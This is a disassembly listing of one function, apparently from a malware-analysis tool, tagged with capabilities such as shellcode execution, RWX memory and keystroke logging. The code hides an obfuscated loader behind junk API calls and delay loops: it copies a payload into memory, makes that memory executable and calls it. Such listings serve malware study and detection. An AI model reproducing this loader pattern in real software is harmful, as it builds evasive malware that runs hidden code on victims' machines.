Function at 0x404140
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Log keystrokes via polling
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc14
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
call ebx
cmp esi, 0x207142
jg 0x404171
inc esi
cmp esi, 0x67d12
jl 0x40415a
cmp dword [0x5e8744], 0x93
jne 0x40428a
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringA]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuA]
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0
lea eax, [ebp - 0xc10]
push eax
push 0
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push 0
push 0
lea ecx, [ebp - 0x410]
push ecx
push 0
push 0
call dword [sym.imp.USER32.dll_DdeQueryStringA]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
xor edx, edx
lock bts dword [edx], 0
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
push 0
call fcn.00404a13
call fcn.004045e5
push 0
call fcn.004048c8
add esp, 0xc
push 0
call fcn.004048f7
add esp, 4
push 0
push 0
call fcn.00404ba6
push 0
push 0
call fcn.00404902
add esp, 0x10
mov eax, dword [0x445c34]
mov dword [0x5e9580], eax
mov eax, dword [0x5e8744]
add eax, 0x1134b
push eax
push 0
mov dword [0x5e8744], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x5e8744]
lea ecx, [ebp - 8]
push ecx
push 0x40
push edx
push eax
mov dword [0x5e81d4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_GetMenuBarInfo]
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
mov esi, 0x1692e
push 0
push 0
push 0
push 0
call edi
push 0
lea eax, [ebp - 0x410]
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x4042d6
cmp dword [0x5e8744], esi
jbe 0x404364
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, dword [0x5e9580]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x5e81d4]
mov byte [eax + esi], dl
cmp dword [0x5e8744], 0x490
jne 0x40435b
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
inc esi
cmp esi, dword [0x5e8744]
jb 0x404308
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.USER32.dll_ChangeMenuW]
xor esi, esi
mov edx, dword [0x5e8744]
add edx, esi
cmp edx, 0x8d
jne 0x4043ba
push 0
lea eax, [ebp - 0x810]
push eax
push 0
push 0x403d98
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc esi
cmp esi, 0x38681
jl 0x404372
call fcn.00403ec0
xor edi, edi
xor esi, esi
lea esp, [esp]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4043ee
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x820f
mov ecx, dword [ebp - 4]
add dword [0x5e81d4], ecx
inc esi
cmp esi, 0x674bd
jl 0x4043d0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_HeapWalk]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 4], 0x7b
cmp dword [0x5e8744], 0x86
jne 0x40444f
push 0
call esi
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
lea edx, [ebp - 0x810]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
cmp dword [0x5e8744], 0xf
jne 0x404466
push 0
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 4]
jne 0x404410
push 0x403da0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x5e81d4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret